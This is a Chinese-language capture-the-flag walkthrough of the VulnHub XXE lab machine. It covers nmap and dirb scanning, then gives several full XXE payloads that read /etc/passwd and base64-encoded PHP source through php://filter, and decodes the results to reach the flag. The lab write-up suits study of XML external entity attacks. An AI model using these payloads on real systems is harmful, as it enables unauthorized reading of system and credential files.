仅供个人娱乐

靶机信息

靶机下载地址:https://download.vulnhub.com/xxe/XXE.zip

一、主机探测

vulnhub-XXE靶机


二、端口服务识别

nmap -sV 192.168.181.149

vulnhub-XXE靶机

存在web端口  打开web界面

vulnhub-XXE靶机

三、漏洞查找和利用

扫描目录

dirb http://192.168.181.149

vulnhub-XXE靶机

打开网页

vulnhub-XXE靶机
vulnhub-XXE靶机

打开目录

vulnhub-XXE靶机
vulnhub-XXE靶机

使用burp抓包

vulnhub-XXE靶机

(个人)网络问题     靶机 ip改为 192.168.204.130

打开网络http://192.168.204.130/xxe/  进行抓包

vulnhub-XXE靶机

发现xxe文件

或者查看源码

vulnhub-XXE靶机

修改xxe格式读取密码

<?xml version="1.0" encoding="UTF-8"?>            #防止乱码

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY admin SYSTEM "file:///etc/passwd">          #读取密码文件

]>

<root><name>&admin;</name><password>1</password></root>

vulnhub-XXE靶机

发现可以抓取密码

原来admin.php页面和源码为

vulnhub-XXE靶机
vulnhub-XXE靶机

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">

]>

<root><name>&admin;</name><password>1</password></root>

vulnhub-XXE靶机

发现admin.php页面源码

返回包进行了加密  使用在线解密

vulnhub-XXE靶机

将密码进行cmd5解密

vulnhub-XXE靶机

进行登录  登录失败

vulnhub-XXE靶机
vulnhub-XXE靶机

点击flag

vulnhub-XXE靶机

查看源码没有东西

继续寻找有用信息

vulnhub-XXE靶机
vulnhub-XXE靶机

查看源码

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">

]>

<root><name>&admin;</name><password>1</password></root>

vulnhub-XXE靶机

复制base64解码

vulnhub-XXE靶机

使用各种方式  解密     最后  base32密码解密

vulnhub-XXE靶机

使用base64解密

vulnhub-XXE靶机

抓包修改参数flag.php  出现乱码

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY admin SYSTEM "file:///etc/.flag.php">

]>

<root><name>&admin;</name><password>1</password></root>

vulnhub-XXE靶机

查看源码

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">

]>

<root><name>&admin;</name><password>1</password></root>

vulnhub-XXE靶机

使用base64解码  失败

vulnhub-XXE靶机

最终使用phpstudy,开启错误显示,本地访问这个webshell得到了flag

相关文章:

  • 2022-01-04
  • 2021-05-18
  • 2021-08-25
  • 2021-11-19
  • 2021-09-21
  • 2021-05-24
  • 2021-10-25
  • 2021-04-01
猜你喜欢
  • 2022-12-23
  • 2021-10-07
  • 2021-09-06
  • 2021-06-08
  • 2021-10-11
  • 2021-05-23
  • 2021-11-30
相关资源
相似解决方案